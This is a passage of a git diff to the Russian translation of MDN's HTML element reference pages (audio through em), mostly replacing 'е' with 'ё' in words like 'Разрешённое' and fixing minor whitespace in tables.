      Атрибут логического типа, который указывает, будет ли звук изначально отключен. Значением по умолчанию является false.
      +
      Атрибут логического типа, который указывает, будет ли звук изначально отключён. Значением по умолчанию является false.
      {{htmlattrdef("preload")}}
      -

      Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведет к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:

      +

      Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведёт к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:

      • none: указывает, что аудио не должно предварительно загружаться;
      • @@ -144,7 +144,7 @@ translation_of: Web/HTML/Element/audio

        Элемент <audio> с множеством элементов <source>

        -

        Этот пример включает множество элементов <source>. Браузер попытается загрузить источник из первого элемента <source> (Opus), если он не в состоянии воспроизвести его, тогда он перейдет ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:

        +

        Этот пример включает множество элементов <source>. Браузер попытается загрузить источник из первого элемента <source> (Opus), если он не в состоянии воспроизвести его, тогда он перейдёт ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:

        <audio controls="">
          <source src="foo.opus" type="audio/ogg; codecs=opus"/>
        @@ -191,7 +191,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi
            Потоковый контент, фразовый контент, встроенный контент. Если элемент имеет атрибут controls, он так же принадлежит к категориям интерактивного и явного контента.
           
           
        -   Разрешенное содержимое
        +   Разрешённое содержимое
            Если элемент имеет атрибут src: ноль или более элементов {{HTMLElement("track")}}, за которыми следует прозрачный контентет, который не содержит элементов <audio> или {{HTMLElement("video")}}.
        Иначе: ноль или более элементов {{HTMLElement("source")}}, за которыми следует ноль или более элементов {{HTMLElement("track")}}, за которыми следует прозрачный контент, который не содержит элементов <audio> или {{HTMLElement("video")}}. @@ -200,7 +200,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi Ни одного; Оба тега, открывающий и закрывающий, являются обязательными. - Разрешенные родительские элементы + Разрешённые родительские элементы Любой элемент, который разрешает встроенный контент в качестве содержимого. diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html index 89cdf625ec..fedf3d4031 100644 --- a/files/ru/web/html/element/b/index.html +++ b/files/ru/web/html/element/b/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/b Flow content, phrasing content, palpable content. - Разрешенный контент + Разрешённый контент Phrasing content. diff --git a/files/ru/web/html/element/bdi/index.html b/files/ru/web/html/element/bdi/index.html index daf089fa86..ef7c7aa44b 100644 --- a/files/ru/web/html/element/bdi/index.html +++ b/files/ru/web/html/element/bdi/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/bdi

        Этот элемент полезен при встраивании текста с неизвестным направлением (например, из базы данных) внутрь текста с заданным направлением.

        -

        Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}: isolate к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передается только с помощью элемента <bdi>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображен корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.

        +

        Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}: isolate к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передаётся только с помощью элемента <bdi>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображён корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.

        diff --git a/files/ru/web/html/element/blockquote/index.html b/files/ru/web/html/element/blockquote/index.html index d8a3b73dc2..d6dfdd2d18 100644 --- a/files/ru/web/html/element/blockquote/index.html +++ b/files/ru/web/html/element/blockquote/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/blockquote ---

        Описание

        -

        HTML-элемент <blockquote> (от англ. Block Quotation) указывает на то, что заключенный в нем текст является развернутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри Примечание, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте cite, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.

        +

        HTML-элемент <blockquote> (от англ. Block Quotation) указывает на то, что заключённый в нем текст является развёрнутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри Примечание, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте cite, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.

        {{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}
        diff --git a/files/ru/web/html/element/body/index.html b/files/ru/web/html/element/body/index.html index 8c2cacdfe0..f18863b449 100644 --- a/files/ru/web/html/element/body/index.html +++ b/files/ru/web/html/element/body/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/body - + @@ -32,11 +32,11 @@ translation_of: Web/HTML/Element/body - + - + @@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/body
        {{htmlattrdef("onpopstate")}}
        Функция для вызова, когда пользователь осуществил управление историей сеанса.
        {{htmlattrdef("onredo")}}
        -
        Функция для вызова, когда произошло продвижение пользователя вперед по истории транзакций (например, обновление страницы).
        +
        Функция для вызова, когда произошло продвижение пользователя вперёд по истории транзакций (например, обновление страницы).
        {{htmlattrdef("onresize")}}
        Функция для вызова, когда размер документа был изменен.
        {{htmlattrdef("onstorage")}}
        @@ -111,7 +111,7 @@ translation_of: Web/HTML/Element/body
        {{htmlattrdef("topmargin")}} {{obsolete_inline}}
        Отступ от верхнего края элемента <body>. Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-top")}}.
        {{htmlattrdef("vlink")}} {{obsolete_inline}}
        -
        Цвет текста посещенной гипертекстовой ссылки. Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.
        +
        Цвет текста посещённой гипертекстовой ссылки. Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.

        Пример

        @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/body - + diff --git a/files/ru/web/html/element/br/index.html b/files/ru/web/html/element/br/index.html index f088017482..5bf34e89d2 100644 --- a/files/ru/web/html/element/br/index.html +++ b/files/ru/web/html/element/br/index.html @@ -64,7 +64,7 @@ USA<br>
        • Категории контента Основной поток, текстовый контент.
        • -
        • Разрешенное содержимое Отсутствует, это {{Glossary("пустой элемент")}}.
        • +
        • Разрешённое содержимое Отсутствует, это {{Glossary("пустой элемент")}}.
        • Пропуск теговДолжен иметь открывающий тег, но не закрывающий тег. В XHTML документах элемент пишется как <br />.
        • Допустимые родительские элементы Любой элемент, который поддерживает текстовый контент.
        • Интерфейс DOM {{domxref("HTMLBRElement")}}
        • diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html index 78cd1a07f7..61b3f30109 100644 --- a/files/ru/web/html/element/button/index.html +++ b/files/ru/web/html/element/button/index.html @@ -12,7 +12,7 @@ original_slug: Web/HTML/Element/кнопка ---

          Описание

          -

          HTML-элемент <button> создает кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.

          +

          HTML-элемент <button> создаёт кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.

          @@ -60,18 +60,18 @@ original_slug: Web/HTML/Element/кнопка
          {{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}
          Данный булевый атрибут позволяет указать, будет ли кнопка автоматически сфокусирована после загрузки страницы, до тех пор, пока пользователь не изменит фокус в ручную, например выбрав другой элемент. Только один связанный с формой элемент в документе может иметь данный атрибут.
          {{htmlattrdef("autocomplete")}} {{non-standard_inline}}
          -
          Использование данного атрибута на элементе <button> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, Firefox сохраняет назначенное динамически отключенное состояние для элемента <button> при последующих загрузках страницы. Установка для данного атрибута значения off отключает подобное поведение. Смотрите {{bug(654072)}}.
          +
          Использование данного атрибута на элементе <button> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, Firefox сохраняет назначенное динамически отключённое состояние для элемента <button> при последующих загрузках страницы. Установка для данного атрибута значения off отключает подобное поведение. Смотрите {{bug(654072)}}.
          {{htmlattrdef("disabled")}}

          Булевый атрибут, указывающий, что пользователь не может взаимодействовать с кнопкой. Если атрибут не установлен, то кнопка наследует его от элемента-контейнера, в котором она расположена, например от {{HTMLElement("fieldset")}}; если отсутствует элемент-контейнер, с установленным атрибутом disabled, то кнопка доступна для взаимодействия.

          -

          Firefox по умолчанию, в отличие от прочих браузеров, сохраняет назначенное динамически отключенное состояние для элемента <button>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.

          +

          Firefox по умолчанию, в отличие от прочих браузеров, сохраняет назначенное динамически отключённое состояние для элемента <button>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.

          {{htmlattrdef("form")}} {{HTMLVersionInline(5)}}
          Атрибут form позволяет указать элемент {{HTMLElement("form")}}, с которым связана кнопка. Данный атрибут должен хранить значение id элемента {{HTMLElement("form")}}. Если данный атрибут не установлен, то элемент <button> будет связан с родительским элементом {{HTMLElement("form")}}, если последний существует.
          Атрибут работает независимо от расположения элементов в документе, поэтому он позволяет связать элемент <button> с формой, даже в случае, если <button> не является наследником элемента {{HTMLElement("form")}}.
          {{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}
          -
          Ссылка на обработчик формы. Если атрибут определен — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.
          +
          Ссылка на обработчик формы. Если атрибут определён — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.
          {{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}
          Если button имеет тип submit, то этот атрибут определяет тип контента, отправляемого на сервер. Возможные значения данного атрибута:
            @@ -80,20 +80,20 @@ original_slug: Web/HTML/Element/кнопка
          • text/plain
          -

          Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.

          +

          Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.

          {{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}
          Если button имеет тип submit, то этот атрибут определяет метод HTTP-запроса для отправки данных на сервер. Возможные варианты:
          • post: данные формы включаются в тело сообщения и отправляются на сервер.
          • -
          • get: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделенных знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.
          • +
          • get: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделённых знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.
          -

          Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.

          +

          Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.

          {{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}
          Булевый атрибут. Указывает, что данные формы не будут валидироваться при отправке.
          -
          Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.
          +
          Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.
          {{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}
          Если button имеет тип submit, этот атрибут является именем или ключевым словом,

          указывающим, где отображать ответ, полученный после отправки формы. This is a name of, or keyword for, a browsing context (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:

          diff --git a/files/ru/web/html/element/caption/index.html b/files/ru/web/html/element/caption/index.html index a0c094c7c8..dfef5ffe40 100644 --- a/files/ru/web/html/element/caption/index.html +++ b/files/ru/web/html/element/caption/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/caption
        - + @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/caption - + - + diff --git a/files/ru/web/html/element/cite/index.html b/files/ru/web/html/element/cite/index.html index acc999a2a8..8a7bcb1875 100644 --- a/files/ru/web/html/element/cite/index.html +++ b/files/ru/web/html/element/cite/index.html @@ -10,13 +10,13 @@ translation_of: Web/HTML/Element/cite ---

        Описание

        -

        HTML-элемент <cite> (от англ. Citation) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращенном виде в соответствии с правилами, используемых для добавления метаданных цитирования.

        +

        HTML-элемент <cite> (от англ. Citation) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращённом виде в соответствии с правилами, используемых для добавления метаданных цитирования.

        Об использовании:

          -
        • Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчет, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.
        • +
        • Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчёт, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.
        • Спецификация W3C утверждает, что ссылка на творческую работу может содержать имя автора, в то время, как WHATWG заявляет, что она не может включать имя человека ни в коем случае.
        • Используйте атрибут {{htmlattrxref("cite", "blockquote")}} элемента {{HTMLElement("blockquote")}} или элемента {{HTMLElement("q")}} для ссылки на интернет-ресурс источника.
        diff --git a/files/ru/web/html/element/col/index.html b/files/ru/web/html/element/col/index.html index 47b0998714..9e0fa31592 100644 --- a/files/ru/web/html/element/col/index.html +++ b/files/ru/web/html/element/col/index.html @@ -80,7 +80,7 @@ translation_of: Web/HTML/Element/col
        {{htmlattrdef("bgcolor")}} {{Non-standard_inline}}
        -
        Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определенный как sRGB с префиксом '#'. Можно использовать одну из шестнадцати предопределенных строк: +
        Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определённый как sRGB с префиксом '#'. Можно использовать одну из шестнадцати предопределённых строк:
        Секционный корень
        Разрешенное содержимоеРазрешённое содержимое Потоковый контент.
        Открывающий тег может быть пропущен, если первое, что находится внутри него, не является пробелом, комментарием, элементом {{HTMLElement("script")}} или элементом {{HTMLElement("style")}}. Закрывающий тег может быть пропущен если элемент <body> содержит контент или имеет открывающий тег, и за ним сразу не следует комментарий.
        Разрешенные родительские элементыРазрешённые родительские элементы Этот элемент должен быть вторым в элементе {{HTMLElement("html")}}
        Разрешенные роли ARIAРазрешённые роли ARIA Отсутствуют
        {{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '<body>')}} {{Spec2('HTML WHATWG')}}Изменен список несогласованных свойств.Изменён список несогласованных свойств.
        {{SpecName('HTML5 W3C', 'sections.html#the-body-element', '<body>')}} Нет
        Разрешенное содержимоеРазрешённое содержимое Потоковый контент.
        Конечный тег может быть опущен, если элемент не следует сразу за ASCII пробелом или комментарием.
        Разрешенные родителиРазрешённые родители Элемент {{HTMLElement("table")}} как его первый потомок
        Разрешенные ARIA-ролиРазрешённые ARIA-роли Нет
        diff --git a/files/ru/web/html/element/data/index.html b/files/ru/web/html/element/data/index.html index 776121917f..534077bc41 100644 --- a/files/ru/web/html/element/data/index.html +++ b/files/ru/web/html/element/data/index.html @@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/data

        Поддержка браузерами

        - +

        {{Compat("html.elements.data")}}

        diff --git a/files/ru/web/html/element/datalist/index.html b/files/ru/web/html/element/datalist/index.html index 8af1475c47..a10e49870b 100644 --- a/files/ru/web/html/element/datalist/index.html +++ b/files/ru/web/html/element/datalist/index.html @@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/datalist

        Поддержка браузерами

        - +

        {{Compat("html.elements.datalist")}}

        diff --git a/files/ru/web/html/element/dd/index.html b/files/ru/web/html/element/dd/index.html index 19f937c1c3..747f73b779 100644 --- a/files/ru/web/html/element/dd/index.html +++ b/files/ru/web/html/element/dd/index.html @@ -99,7 +99,7 @@ translation_of: Web/HTML/Element/dd

        Поддержка браузерами

        - +

        {{Compat("html.elements.dd")}}

        diff --git a/files/ru/web/html/element/del/index.html b/files/ru/web/html/element/del/index.html index 7c6e497506..73bf36f3ed 100644 --- a/files/ru/web/html/element/del/index.html +++ b/files/ru/web/html/element/del/index.html @@ -5,13 +5,13 @@ tags: - доступность translation_of: Web/HTML/Element/del --- -

        Элемент HTML <del> представляет диапазон текста, который был удален из документа. Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.

        +

        Элемент HTML <del> представляет диапазон текста, который был удалён из документа. Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.

        {{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}
        -

        Этот элемент часто (но не обязательно) отображается с помощью применения зачеркнутого стиля к тексту.

        +

        Этот элемент часто (но не обязательно) отображается с помощью применения зачёркнутого стиля к тексту.

        @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/del - + @@ -89,7 +89,7 @@ del::after { } -

        Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создает дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя ее только в ситуациях, когда незнание контента, который был удален, может негативно повлиять на восприятие.

        +

        Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создаёт дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя её только в ситуациях, когда незнание контента, который был удалён, может негативно повлиять на восприятие.

        • Короткая заметка о создании своих меток (больше доступности) | The Paciello Group
        • @@ -136,7 +136,7 @@ del::after {
          • {{HTMLElement("ins")}} элемент для вставки в текст
          • -

            {{HTMLElement("s")}} элемент для зачеркивания, отдельный от представления удаленного текста

            +

            {{HTMLElement("s")}} элемент для зачёркивания, отдельный от представления удалённого текста

          diff --git a/files/ru/web/html/element/details/index.html b/files/ru/web/html/element/details/index.html index 59a325fa0e..bbc3bc41be 100644 --- a/files/ru/web/html/element/details/index.html +++ b/files/ru/web/html/element/details/index.html @@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/details

          {{EmbedLiveSample("Example")}}

          -

          Примечание: Если приведенный выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. 

          +

          Примечание: Если приведённый выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. 

          Примеры стилизации

          diff --git a/files/ru/web/html/element/dfn/index.html b/files/ru/web/html/element/dfn/index.html index c34e105cbd..05e0214d31 100644 --- a/files/ru/web/html/element/dfn/index.html +++ b/files/ru/web/html/element/dfn/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/dfn
        - + @@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/dfn - + - + @@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/dfn

        Ссылки на <dfn> элементы

        -

        Если вы включаете атрибут {{htmlattrxref("id")}} в <dfn> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он еще не знает его, нажав на ссылку термина.

        +

        Если вы включаете атрибут {{htmlattrxref("id")}} в <dfn> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он ещё не знает его, нажав на ссылку термина.

        Это показано ниже в примере {{anch("Ссылки на определения")}}.

        @@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/dfn

        Ссылки на определения

        -

        Чтобы добавить ссылки к определениям, вы создаете ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> (<strong><dfn>&lt;dfn&gt;</dfn></strong>) используется для обозначения термина, определяемого в контексте фразы или предложения. </p>

        +

        Чтобы добавить ссылки к определениям, вы создаёте ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> (<strong><dfn>&lt;dfn&gt;</dfn></strong>) используется для обозначения термина, определяемого в контексте фразы или предложения. </p>

        HTML

        @@ -136,7 +136,7 @@ enim possumus hoc agere divinius?</p>

         

        -

        Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} «definition-dfn», который может использоваться в качестве цели для ссылки. Позднее создается ссылка с использованием <a> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на «#definition-dfn», чтобы установить ссылку обратно на определение.

        +

        Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} «definition-dfn», который может использоваться в качестве цели для ссылки. Позднее создаётся ссылка с использованием <a> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на «#definition-dfn», чтобы установить ссылку обратно на определение.

        Результат

        @@ -158,11 +158,11 @@ enim possumus hoc agere divinius?</p> <p>Действительно, HST, возможно, <abbr title="Hubble Space Telescope"></abbr> сделал больше для развития науки, чем любое другое устройство, когда-либо созданное.</p> -

        Обратите внимание на <abbr> элемент, вложенный в <dfn>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своем атрибуте title. Последнее указывает на то, что сокращенный термин представляет собой определяемый термин.

        +

        Обратите внимание на <abbr> элемент, вложенный в <dfn>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своём атрибуте title. Последнее указывает на то, что сокращённый термин представляет собой определяемый термин.

        Результат

        -

        Вывод приведенного выше кода выглядит следующим образом:

        +

        Вывод приведённого выше кода выглядит следующим образом:

        {{ EmbedLiveSample('HTML_3', '', '', '', 'Web/HTML/Element/dfn') }}

        diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html index 38ca0276b5..3143ca9b83 100644 --- a/files/ru/web/html/element/dialog/index.html +++ b/files/ru/web/html/element/dialog/index.html @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/dialog - + diff --git a/files/ru/web/html/element/div/index.html b/files/ru/web/html/element/div/index.html index 27ca73a4ae..503e8e24a8 100644 --- a/files/ru/web/html/element/div/index.html +++ b/files/ru/web/html/element/div/index.html @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/div - + @@ -39,12 +39,12 @@ translation_of: Web/HTML/Element/div - + - + @@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/div - + diff --git a/files/ru/web/html/element/dl/index.html b/files/ru/web/html/element/dl/index.html index 037d3e61c5..195584e4cd 100644 --- a/files/ru/web/html/element/dl/index.html +++ b/files/ru/web/html/element/dl/index.html @@ -118,7 +118,7 @@ translation_of: Web/HTML/Element/dl

        Множественные термины и определения

        -

        Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путем комбинирования приведенных выше примеров.

        +

        Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путём комбинирования приведённых выше примеров.

        Метаданные

        @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/dl

        Поддержка браузерами

        - +

        {{Compat("html.elements.dl")}}

        diff --git a/files/ru/web/html/element/dt/index.html b/files/ru/web/html/element/dt/index.html index 093e46aa6d..d46393c7c8 100644 --- a/files/ru/web/html/element/dt/index.html +++ b/files/ru/web/html/element/dt/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/dt ---
        {{HTMLRef}}
        -

        HTML-элемент <dt> который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента  {{HTMLElement("dl")}} . Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <dt> идущие друг за другом будут содержать свое определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.

        +

        HTML-элемент <dt> который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента  {{HTMLElement("dl")}} . Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <dt> идущие друг за другом будут содержать своё определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.

        Последующий элемент {{HTMLElement("dd")}} (от англ. Description Details) предоставляет определение или другой связанный текст, относящийся к термину, указанным с помощью <dt>.

        @@ -91,7 +91,7 @@ translation_of: Web/HTML/Element/dt

        Поддержка браузерами

        - +

        {{Compat("html.elements.dt")}}

        diff --git a/files/ru/web/html/element/em/index.html b/files/ru/web/html/element/em/index.html index 1ceea62afd..0a1ae9d801 100644 --- a/files/ru/web/html/element/em/index.html +++ b/files/ru/web/html/element/em/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/em ---
        {{HTMLRef}}
        -

        HTML <em> элемент отмечает акцентируемый текст. Элемент <em> может быть вложенным, причем каждый уровень вложенности указывает на большую степень акцента.

        +

        HTML <em> элемент отмечает акцентируемый текст. Элемент <em> может быть вложенным, причём каждый уровень вложенности указывает на большую степень акцента.

        Фразовый контент или потоковый контент.
        Разрешенный контентРазрешённый контент Прозрачный.
        Потоковый контент, фразовый контент, явный контент.
        Разрешенный контентРазрешённый контент Фразовый контент, но ни один {{HTMLElement("dfn")}} элемент не должен быть потомком.
        {{no_tag_omission}}
        Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент.
        Разрешенные роли ARIAРазрешённые роли ARIA Любые
        Разрешённые родительские элементыЛюбой элемент, в котором разрешен основной потокЛюбой элемент, в котором разрешён основной поток
        DOM-интерфейсПотоковый контент, явный контент.
        Разрешенное содержимоеРазрешённое содержимое Потоковый контент или (в {{glossary("WHATWG")}} HTML), если родительским является элемент {{HTMLElement("dl")}}: один или несколько элементов {{HTMLElement("dt")}}, сопровождаемых одним или более элементами {{HTMLElement("dd")}}, в ряде случаев смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.
        Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
        Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает потоковый контент в качестве содержимого..
        Или (в {{glossary("WHATWG")}} HTML): элемент {{HTMLElement("dl")}}.
        Разрешенные роли ARIAРазрешённые роли ARIA Любые
        {{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '<div>')}} {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени)Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени)
        {{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '<div>')}}
        @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/em - + @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/em - + - + @@ -42,9 +42,9 @@ translation_of: Web/HTML/Element/em

        Примечания по использованию

        -

        Элемент <em> предназначен для слов, которые имеют подчеркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.

        +

        Элемент <em> предназначен для слов, которые имеют подчёркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.

        -

        Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространенные ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.

        +

        Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространённые ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.

        < i> против <em>

        @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/em

        Примером для <em> может быть: -«Просто сделай это!», или: «Мы должны были что-то с этим сделать». Человек или программа, читающие текст, будут произносить слова, выделенные курсивом, с ударением, используя словесное ударение.

        -

        Примером для <i> может быть: «Королева Мэри отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идет не о королеве по имени Мария, а о корабле по имени Королева Мария. Другим примером для <i> может быть: «Слово ‘the’ это артикль».

        +

